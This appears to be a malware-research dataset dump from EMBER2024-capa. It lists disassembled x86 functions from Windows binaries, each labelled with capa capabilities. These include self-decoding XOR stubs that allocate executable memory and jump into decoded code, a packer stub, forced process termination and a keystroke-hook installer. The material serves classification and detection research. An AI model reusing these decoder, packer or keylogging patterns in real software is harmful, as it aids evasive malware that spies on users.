joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100123e7
Capabilities:
Delete file

Disassembly:
push 0x14
mov eax, 0x1002d2cf
call fcn.10016fd1
mov ebx, ecx
mov eax, dword [ebx]
xor edi, edi
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, ebx
call esi
push eax
lea ecx, [ebp - 0x10]
call fcn.100226a8
and dword [ebp - 4], edi
lea esi, [ebx + 0x44]
cmp dword [esi], edi
je 0x10012492
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.100226a8
mov ecx, dword [esi]
test al, al
je 0x10012474
push 0xb
pop eax
mov word [ebp - 0x20], ax
xor eax, eax
mov word [ebp - 0x18], ax
sub esp, 0x10
mov byte [ebp - 4], 1
mov edi, esp
lea esi, [ebp - 0x20]
push 1
movsd dword es:[edi], dword [esi]
push str.Close
push ecx
push eax
movsd dword es:[edi], dword [esi]
push 1
push ebx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
call fcn.100226a8
add esp, 0x28
mov byte [ebp - 4], 0
mov edi, eax
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
lea esi, [ebx + 0x44]
jmp 0x1001248b
push 0
push str.Close
push ecx
push 0
push 1
push ebx
call fcn.100226a8
add esp, 0x18
mov edi, eax
mov ecx, esi
call fcn.10009bb3
cmp dword [ebx + 0x24], 0
je 0x100124b2
push str.Excel.Application
lea ecx, [ebp - 0x10]
call fcn.100226a8
test al, al
je 0x100124b2
push dword [ebx + 0x24]
call dword [sym.imp.kernel32.dll_DeleteFileW]
push dword [ebp - 0x10]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, edi
call fcn.10016f9a
ret
Function at 0x100133d0
Capabilities:
Copy file
Set file attributes

Disassembly:
push 0x214
mov eax, 0x1002d3b0
call fcn.10017005
mov ebx, dword [ebp + 8]
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x21c], eax
cmp dword [ebx + 8], 0
je 0x100133fb
mov eax, reloc.oleaut32.dll_VariantCopyInd
jmp 0x10013586
mov eax, dword [ebx - 0xc]
mov esi, dword [eax + 0x10]
mov ecx, esi
call dword [0x1002f4d0]
lea ecx, [ebx - 0xc]
call esi
mov ecx, dword [ebx + 0x14]
test ecx, ecx
jne 0x1001341f
mov eax, 0x80004005
jmp 0x10013586
mov edx, dword [ebp + 0x10]
mov esi, reloc.oleaut32.dll_SysReAllocString
mov eax, edx
and eax, esi
cmp eax, esi
push dword [ebp - 0x21c]
sete al
mov byte [ecx + 0x31], al
lea ecx, [esi + 2]
mov eax, edx
and eax, ecx
cmp eax, ecx
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x32], cl
lea eax, [esi + 6]
and edx, eax
cmp edx, eax
mov eax, dword [ebx + 0x14]
sete cl
mov byte [eax + 0x33], cl
mov ecx, dword [ebx + 0x14]
add ecx, 0x28
call fcn.100226a8
mov edi, dword [ebx + 0x14]
mov eax, dword [edi]
mov esi, dword [eax + 0x18]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, edi
call esi
push eax
lea ecx, [ebp - 0x220]
call fcn.100226a8
xor esi, esi
lea ecx, [ebp - 0x220]
push str.Excel.Application
mov dword [ebp - 4], esi
call fcn.100226a8
test al, al
je 0x1001355e
push 0x208
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.100194b0
mov edi, dword [ebp - 0x21c]
push 0x5c
push edi
call fcn.100226a8
add esp, 0x14
test eax, eax
jne 0x100134d8
push 0x2f
push edi
call fcn.100226a8
pop ecx
pop ecx
test eax, eax
je 0x100134f8
add eax, 2
push 0x2e
push eax
call fcn.100226a8
push eax
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.100226a8
add esp, 0x14
cmp word [ebp - 0x218], si
je 0x10013557
push esi
lea eax, [ebp - 0x218]
push eax
push edi
call dword [sym.imp.kernel32.dll_CopyFileW]
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.100226a8
pop ecx
pop ecx
mov ecx, dword [ebx + 0x14]
add ecx, 0x24
test eax, eax
jne 0x10013549
lea eax, [ebp - 0x218]
push eax
call fcn.100226a8
push 0x80
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.kernel32.dll_SetFileAttributesW]
jmp 0x1001354f
push edi
call fcn.100226a8
mov eax, dword [ebx + 0x14]
add eax, 0x24
jmp 0x1001356f
mov esi, 0x80004005
jmp 0x10013578
mov ecx, dword [ebx + 0x14]
push dword [ebp - 0x21c]
add ecx, 0x24
call fcn.100226a8
push eax
lea ecx, [ebx + 0x10]
call fcn.100226a8
push dword [ebp - 0x220]
call dword [sym.imp.oleaut32.dll_SysStringLen]
mov eax, esi
call fcn.10016faf
ret 0xc
Function at 0x10013c40
Capabilities:
Terminate process

Disassembly:
push 0x81c
mov eax, 0x1002d483
call fcn.10017005
mov ebx, ecx
xor ecx, ecx
lea edi, [ebx + 0x40]
mov esi, ecx
mov dword [ebp - 0x818], ecx
mov dword [ebp - 0x814], ecx
cmp dword [edi], ecx
je 0x10013d7c
push 0x10
push ecx
lea eax, [ebp - 0x828]
push eax
call fcn.100194b0
add esp, 0xc
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.oleaut32.dll_VariantClear]
push esi
push str.Caption
push dword [edi]
lea eax, [ebp - 0x828]
mov dword [ebp - 4], esi
push eax
push 2
push ebx
call fcn.100226a8
add esp, 0x18
test eax, eax
jne 0x10013ce1
push dword [ebp - 0x820]
mov word [ebp - 0x810], ax
lea eax, [ebp - 0x810]
push 0x400
push eax
call fcn.100226a8
add esp, 0xc
lea eax, [ebp - 0x810]
push eax
push esi
call dword [sym.imp.user32.dll_FindWindowW]
mov dword [ebp - 0x814], eax
mov eax, dword [ebx]
lea ecx, [ebp - 0x818]
push ecx
mov esi, dword [eax + 0x2c]
mov ecx, esi
call dword [0x1002f4d0]
mov ecx, ebx
call esi
mov esi, eax
test esi, esi
js 0x10013d20
cmp dword [ebp - 0x818], 0
jne 0x10013d20
push 0
push str.Quit
push dword [edi]
push 0
push 1
push ebx
call fcn.100226a8
add esp, 0x18
mov esi, eax
mov ecx, edi
call fcn.10009bb3
lea eax, [ebp - 0x828]
push eax
call dword [sym.imp.oleaut32.dll_VariantCopy]
mov eax, dword [ebp - 0x814]
test eax, eax
je 0x10013d7c
cmp dword [ebp - 0x818], 0
jne 0x10013d7c
test esi, esi
jns 0x10013d7c
and dword [ebp - 0x814], 0
lea ecx, [ebp - 0x814]
push ecx
push eax
call dword [sym.imp.user32.dll_GetWindowThreadProcessId]
push dword [ebp - 0x814]
push 1
push 0x1fffff
call dword [sym.imp.kernel32.dll_OpenProcess]
push 1
push eax
call dword [sym.imp.kernel32.dll_TerminateProcess]
mov eax, esi
call fcn.10016faf
ret
Function at 0x10015217
Capabilities:
Enumerate processes

Disassembly:
push 0x238
mov eax, 0x1002d711
call fcn.10017005
mov ebx, dword [ebp + 8]
test ebx, ebx
jne 0x10015234
xor eax, eax
jmp 0x10015311
xor edi, edi
push edi
push 2
call sub.kernel32.dll_CreateToolhelp32Snapshot
mov esi, eax
test esi, esi
je 0x1001530f
lea eax, [ebp - 0x23c]
mov dword [ebp - 0x23c], 0x22c
push eax
push esi
call sub.kernel32.dll_Process32FirstW
jmp 0x100152e5
lea eax, [ebp - 0x218]
push eax
lea ecx, [ebp - 0x244]
call fcn.1000128b
push ebx
lea ecx, [ebp - 0x240]
mov dword [ebp - 4], edi
call fcn.1000128b
lea ecx, [ebp - 0x244]
mov byte [ebp - 4], 1
call fcn.10001cc6
lea ecx, [ebp - 0x240]
call fcn.10001cc6
lea eax, [ebp - 0x244]
push eax
lea eax, [ebp - 0x240]
push eax
call fcn.100226a8
pop ecx
pop ecx
mov ecx, dword [ebp - 0x240]
lea ecx, [ecx - 0x10]
test al, al
jne 0x100152ef
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
or dword [ebp - 4], 0xffffffff
lea ecx, [ecx - 0x10]
call fcn.10001eb4
lea eax, [ebp - 0x23c]
push eax
push esi
call sub.kernel32.dll_Process32NextW
test eax, eax
jne 0x10015264
jmp 0x10015308
mov edi, dword [ebp - 0x234]
call fcn.10001eb4
mov ecx, dword [ebp - 0x244]
add ecx, 0xfffffff0
call fcn.10001eb4
push esi
call dword [sym.imp.kernel32.dll_CloseHandle]
mov eax, edi
call fcn.10016faf
ret

Function at 0x100226a8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x100226b7
pop dword [ebp - 0x10]
mov eax, 0x100226b7
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3e834
push 0
mov eax, 0x41e50e92
add eax, 0xce1de2ca
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0x5e81ccd5
add ecx, 0xa17e73f8
mov esi, eax
mov edx, 0x245a3d4b
sub edx, 0x1455914b
add edx, dword [ebp - 0x10]
mov edi, 0x4bc84362
add edi, 0x975f2
xor dword [ebp - 4], 0x60b906f6
mov ebx, dword [edx]
add dword [ebp - 0xc], 0xcc5e1b0f
xor ebx, edi
xor dword [ebp - 8], 0xe99f0b7c
mov dword [esi], ebx
xor dword [ebp - 4], 0xafa0f72b
add esi, 0x237a453e
sub esi, 0x237a453a
add edx, 0x5b9fc8b3
sub edx, 0x5b9fc8af
loop 0x10022711
add eax, 0xf607
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x507d2f32
sub ecx, 0x407d2f32
add ecx, dword [ebp - 0x10]
call ebx
leave
ret
Function at 0x10013963
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x10013972
pop dword [ebp - 0x18]
mov eax, 0x7814b032
sub eax, 0x681376c0
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x35a98
push 0
mov eax, 0x904c26de
add eax, 0x7fb53a62
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x839fc4d6
sub ecx, 0x839f8e6a
mov edi, eax
mov esi, 0x10024400
add esi, dword [ebp - 0x18]
mov ebx, 0x71728d4e
add ebx, 0x10796ed7
xor dword [ebp - 4], 0x16ccd049
mov edx, dword [esi]
add dword [ebp - 4], 0xecf958c4
sub edx, ebx
xor dword [ebp - 0x14], 0x436669b9
mov dword [edi], edx
add edi, 0xe84f303b
add edi, 0x17b0cfc9
add esi, 4
loop 0x100139cb
add eax, 0xcc83
xor ebx, ebx
add ebx, eax
add eax, 0x598fca22
add eax, 0xa67035e3
mov ecx, 0x10000000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x40fc83
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41a794]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040b148
mov dword [ebp - 0x14], eax
cmp dword [0x447da8], esi
jne 0x40fd76
push 0x800
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x40fd03
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40fe56
push esi
push esi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x40fe56
push str.MessageBoxW
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40fe56
push eax
call ebx
push str.GetActiveWindow
push edi
mov dword [0x447da8], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push edi
mov dword [0x447dac], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push edi
mov dword [0x447db0], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x447db8], eax
test eax, eax
je 0x40fd73
push str.GetProcessWindowStation
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x447db4], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40fd9b
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40fd8e
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x40fdb0
push 4
pop eax
jmp 0x40fe58
cmp dword [ebp - 0x14], esi
je 0x40fdb0
push dword [0x447da8]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40fd95
mov eax, dword [0x447db4]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x40fe0e
cmp dword [0x447db8], edi
je 0x40fe0e
push eax
call ebx
push dword [0x447db8]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40fe0e
test eax, eax
je 0x40fe0e
call ecx
test eax, eax
je 0x40fe03
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40fe03
test byte [ebp - 8], 1
jne 0x40fe0e
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x40fe3e
mov eax, dword [0x447dac]
cmp eax, edi
je 0x40fe3b
push eax
call ebx
test eax, eax
je 0x40fe3b
call eax
mov esi, eax
test esi, esi
je 0x40fe3b
mov eax, dword [0x447db0]
cmp eax, edi
je 0x40fe3b
push eax
call ebx
test eax, eax
je 0x40fe3b
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x447da8]
call ebx
test eax, eax
je 0x40fe56
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x40fe58
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00404609
mov esp, ebp
pop ebp
ret
Function at 0x4297da
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.00429659

Function at 0x433002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x433072
nop
nop
mov ebx, 0x40de38
nop
nop
nop
nop
mov ecx, ebx
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x6f8a37c7
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
loop 0x433060
nop
nop
nop
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x4330d2
mov ebx, 0x4304d8
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x65d84a18
nop
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add dword [eax - 0x101d6f70], edx
nop
nop
nop
nop
nop
nop
popal
jmp 0x431219
Function at 0x10001030
Capabilities:
Print debug messages

Disassembly:
sub esp, 0x404
mov eax, dword [0x10037030]
xor eax, esp
mov dword [esp + 0x400], eax
cmp byte [0x10039278], 0
je 0x10001095
mov ecx, dword [esp + 0x408]
lea eax, [esp + 0x40c]
push eax
push ecx
lea edx, [esp + 8]
push 0x200
push edx
call fcn.10004e7e
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0x214]
push str._ZDSGuard__32__s
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x1c
lea edx, [esp + 0x200]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [esp + 0x400]
xor ecx, esp
call fcn.10004dbe
add esp, 0x404
ret

Function at 0x10001140
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x84
mov eax, dword [0x10037030]
xor eax, esp
mov dword [esp + 0x80], eax
push esi
push edi
push 0x7f
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.10006cb0
mov edi, dword [sym.imp.USER32.dll_GetWindowTextA]
add esp, 0xc
cmp dword [ebx*4 + 0x1003e640], 5
jne 0x100011ef
mov edx, dword [ebx*4 + 0x1003e320]
push 0x80
lea ecx, [esp + 0xc]
push ecx
push edx
call edi
mov eax, ebx
shl eax, 7
lea edx, [eax + 0x10040260]
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x100011a0
sub eax, esi
cmp eax, 0x11
jbe 0x100011ef
mov eax, edx
lea esi, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x100011b5
sub eax, esi
add eax, 0xffffffef
push eax
push edx
lea ecx, [esp + 0x10]
push ecx
call fcn.10004e99
add esp, 0xc
test eax, eax
jne 0x100011ef
pop edi
mov eax, ebx
pop esi
mov ecx, dword [esp + 0x80]
xor ecx, esp
call fcn.10004dbe
add esp, 0x84
ret
mov eax, dword [ebx*4 + 0x1003e320]
push 0x80
lea edx, [esp + 0xc]
push edx
push eax
call edi
mov eax, ebx
shl eax, 7
add eax, 0x10040260
lea ecx, [esp + 8]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x10001231
test dl, dl
je 0x1000122d
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x10001231
add ecx, 2
add eax, 2
test dl, dl
jne 0x10001211
xor eax, eax
jmp 0x10001236
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x100011d6
mov ecx, dword [esp + 0x88]
pop edi
pop esi
xor ecx, esp
or eax, 0xffffffff
call fcn.10004dbe
add esp, 0x84
ret
Function at 0x10001260
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x84
mov eax, dword [0x10037030]
xor eax, esp
mov dword [esp + 0x80], eax
push esi
push edi
push 0x7f
lea eax, [esp + 0xd]
push 0
push eax
mov byte [esp + 0x14], 0
call fcn.10006cb0
mov edi, dword [sym.imp.USER32.dll_GetWindowTextA]
add esp, 0xc
cmp dword [ebx*4 + 0x1003e640], 5
jne 0x1000133a
push str.IsGuardTitle2_1_szCaption_BROWSER_TYPE_EDGE
call fcn.10001030
mov edx, dword [ebx*4 + 0x1003e320]
add esp, 4
push 0x80
lea ecx, [esp + 0xc]
push ecx
push edx
call edi
mov eax, ebx
shl eax, 7
lea esi, [eax + 0x10040260]
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x100012d1
sub eax, edx
cmp eax, 0x11
jbe 0x1000133a
lea eax, [esp + 8]
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x100012e8
sub eax, edx
cmp eax, 1
jbe 0x1000133a
mov eax, esi
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10001300
sub eax, edx
add eax, 0xffffffef
push eax
lea ecx, [esp + 0xc]
push esi
push ecx
call fcn.10004e99
add esp, 0xc
test eax, eax
jne 0x1000133a
pop edi
mov eax, ebx
pop esi
mov ecx, dword [esp + 0x80]
xor ecx, esp
call fcn.10004dbe
add esp, 0x84
ret
push str.IsGuardTitle2_1_szCaption
call fcn.10001030
mov eax, dword [ebx*4 + 0x1003e320]
add esp, 4
push 0x80
lea edx, [esp + 0xc]
push edx
push eax
call edi
lea ecx, [esp + 8]
push ecx
push str.IsGuardTitle2_2_szCaption_:__s
call fcn.10001030
lea eax, [esp + 0x10]
add esp, 8
lea edx, [eax + 1]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x10001374
sub eax, edx
cmp eax, 1
jbe 0x100013d1
lea edx, [esp + 8]
push edx
push str.IsGuardTitle2_szCaption_:__s
call fcn.10001030
mov eax, ebx
shl eax, 7
add esp, 8
add eax, 0x10040260
lea ecx, [esp + 8]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x100013c4
test dl, dl
je 0x100013c0
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x100013c4
add ecx, 2
add eax, 2
test dl, dl
jne 0x100013a4
xor eax, eax
jmp 0x100013c9
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x10001321
mov ecx, dword [esp + 0x88]
pop edi
pop esi
xor ecx, esp
or eax, 0xffffffff
call fcn.10004dbe
add esp, 0x84
ret

Function at 0x100018b0
Capabilities:
Check os version

Disassembly:
sub esp, 0x98
mov eax, dword [0x10037030]
xor eax, esp
mov dword [esp + 0x94], eax
push 0x94
lea eax, [esp + 4]
push 0
push eax
call fcn.10006cb0
add esp, 0xc
lea ecx, [esp]
push ecx
mov dword [esp + 4], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 4], 6
mov ecx, dword [esp + 0x94]
sbb eax, eax
xor ecx, esp
add eax, 1
call fcn.10004dbe
add esp, 0x98
ret
Function at 0x10001f70
Capabilities:
Create thread
Log keystrokes via application hook

Disassembly:
push esi
mov esi, dword [esp + 0xc]
push esi
push str.SetHook_:__d
call fcn.10001030
add esp, 8
test esi, esi
jne 0x10001faa
mov eax, dword [0x10039270]
test eax, eax
je 0x10001f9e
mov ecx, dword [eax]
mov edx, dword [ecx + 8]
push eax
call edx
mov dword [0x10039270], esi
call fcn.10002370
mov eax, 1
pop esi
ret
cmp dword [0x10049870], 0
je 0x10001fc3
mov eax, dword [esp + 8]
mov dword [0x10049874], eax
mov eax, 1
pop esi
ret
push edi
call fcn.1001a6ec
mov ecx, dword [0x10039274]
mov esi, dword [sym.imp.USER32.dll_SetWindowsHookExA]
push 0
push ecx
push 0x10003960
push 0xd
mov edi, eax
call esi
mov edx, dword [0x10039274]
push 0
push edx
push 0x10003440
push 0xe
mov dword [0x1004986c], eax
call esi
push 0
mov dword [0x10049864], eax
mov eax, dword [0x10039274]
push eax
push 0x10003ae0
push 4
call esi
test edi, edi
mov dword [0x10049868], eax
pop edi
jne 0x100020cc
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
test eax, eax
jge 0x1000203e
push 2
push 0
push 0
push 0x10003160
push 0
push 0x8006
jmp 0x100020b5
call fcn.100018b0
test al, al
je 0x100020a3
push 0x10039270
push 0x10034bd0
push 1
push 0
push 0x10034bc0
call dword [sym.imp.ole32.dll_CoCreateInstance]
push 2
push 0
push 0
push 0x10003160
push 0
push 0x8012
push 0x8000
call dword [sym.imp.USER32.dll_SetWinEventHook]
push 0
push 0
push 0
push 0x10001f00
push 0
push 0
mov dword [0x1004a4b0], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x100391d0], eax
mov eax, 1
pop esi
ret
push 2
push 0
push 0
push 0x10003160
push 0
push 0x8012
push 0x8000
call dword [sym.imp.USER32.dll_SetWinEventHook]
mov dword [0x1004a4b0], eax
mov eax, 1
pop esi
ret
mov byte [0x10049be1], 1
mov eax, 1
pop esi
ret
Function at 0x10002150
Capabilities:
Get graphical window text

Disassembly:
push ecx
cmp dword [esp + 0xc], 1
push ebx
mov ebx, dword [esp + 0xc]
mov eax, dword [ebx + 4]
mov edx, dword [ebx + 0x2c]
push ebp
push esi
lea ecx, [ebx + 8]
push edi
mov edi, dword [ebx]
mov dword [esp + 0x10], eax
mov dword [esp + 0x18], ecx
mov dword [0x10049874], edx
jne 0x100022ae
call fcn.100014c0
mov ebp, eax
xor esi, esi
cmp ebp, esi
je 0x100021e7
mov eax, dword [0x10049864]
cmp eax, esi
je 0x100021a0
push eax
call dword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov dword [0x10049864], esi
mov eax, dword [0x10039274]
push esi
push eax
push 0x10003440
push 0xe
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [0x10049864], eax
mov eax, section..TEWEBGU
mov edi, edi
cmp dword [eax], ebp
je 0x1000228e
add eax, 4
cmp eax, 0x1003e320
jl 0x100021c0
cmp dword [esi*4 + section..TEWEBGU], 0
je 0x100021ef
add esi, 1
cmp esi, 0xc8
jl 0x100021d2
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov edx, dword [0x1003926c]
mov ecx, dword [esp + 0x10]
push 0x40
mov eax, esi
shl eax, 6
push edx
add eax, 0x10046660
mov dword [esi*4 + 0x1003e640], edi
mov edi, dword [sym.imp.KERNEL32.dll_lstrcpynA]
push eax
mov dword [esi*4 + 0x1003e320], ecx
mov dword [esi*4 + section..TEWEBGU], ebp
call edi
mov ecx, dword [esp + 0x18]
push 0x20
mov edx, esi
shl edx, 5
push ecx
add edx, 0x1003e960
push edx
call edi
mov ecx, dword [esp + 0x10]
mov eax, esi
shl eax, 7
push 0x80
lea edi, [eax + 0x10040260]
push edi
push ecx
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov eax, dword [0x10049860]
mov edx, dword [ebx + 0x28]
add eax, 1
push eax
push edi
push ebp
push str.SetPolicy_Add___x__s____d_
mov dword [esi*4 + 0x100498c0], edx
mov dword [0x10049860], eax
call fcn.10001030
add esp, 0x10
pop edi
pop esi
pop ebp
mov byte [0x10049be2], 1
mov eax, 1
pop ebx
pop ecx
ret
mov eax, dword [0x10049860]
mov ecx, dword [esp + 0x18]
push eax
push ecx
push str.SetPolicy_equal_tabic
call fcn.10001030
add esp, 0xc
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
xor ebx, ebx
xor esi, esi
mov edi, 0x1003e960
cmp dword [esi*4 + section..TEWEBGU], ebx
je 0x100022ef
mov ecx, dword [esp + 0x18]
mov eax, edi
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x100022e6
test dl, dl
je 0x100022e2
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x100022e6
add eax, 2
add ecx, 2
test dl, dl
jne 0x100022c6
xor eax, eax
jmp 0x100022eb
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
je 0x10002305
add esi, 1
add edi, 0x20
cmp esi, 0xc8
jl 0x100022b7
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
mov ecx, dword [esp + 0x10]
mov eax, esi
shl eax, 7
mov byte [eax + 0x10040260], bl
mov eax, dword [0x10049860]
sub eax, 1
push eax
mov edx, esi
push ecx
shl edx, 5
push str.SetPolicy_Delete___x____d_
mov dword [esi*4 + section..TEWEBGU], ebx
mov dword [esi*4 + 0x1003e320], ebx
mov dword [esi*4 + 0x1003e640], ebx
mov byte [edx + 0x1003e960], bl
mov dword [esi*4 + 0x100498c0], ebx
mov dword [0x10049860], eax
call fcn.10001030
add esp, 0xc
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret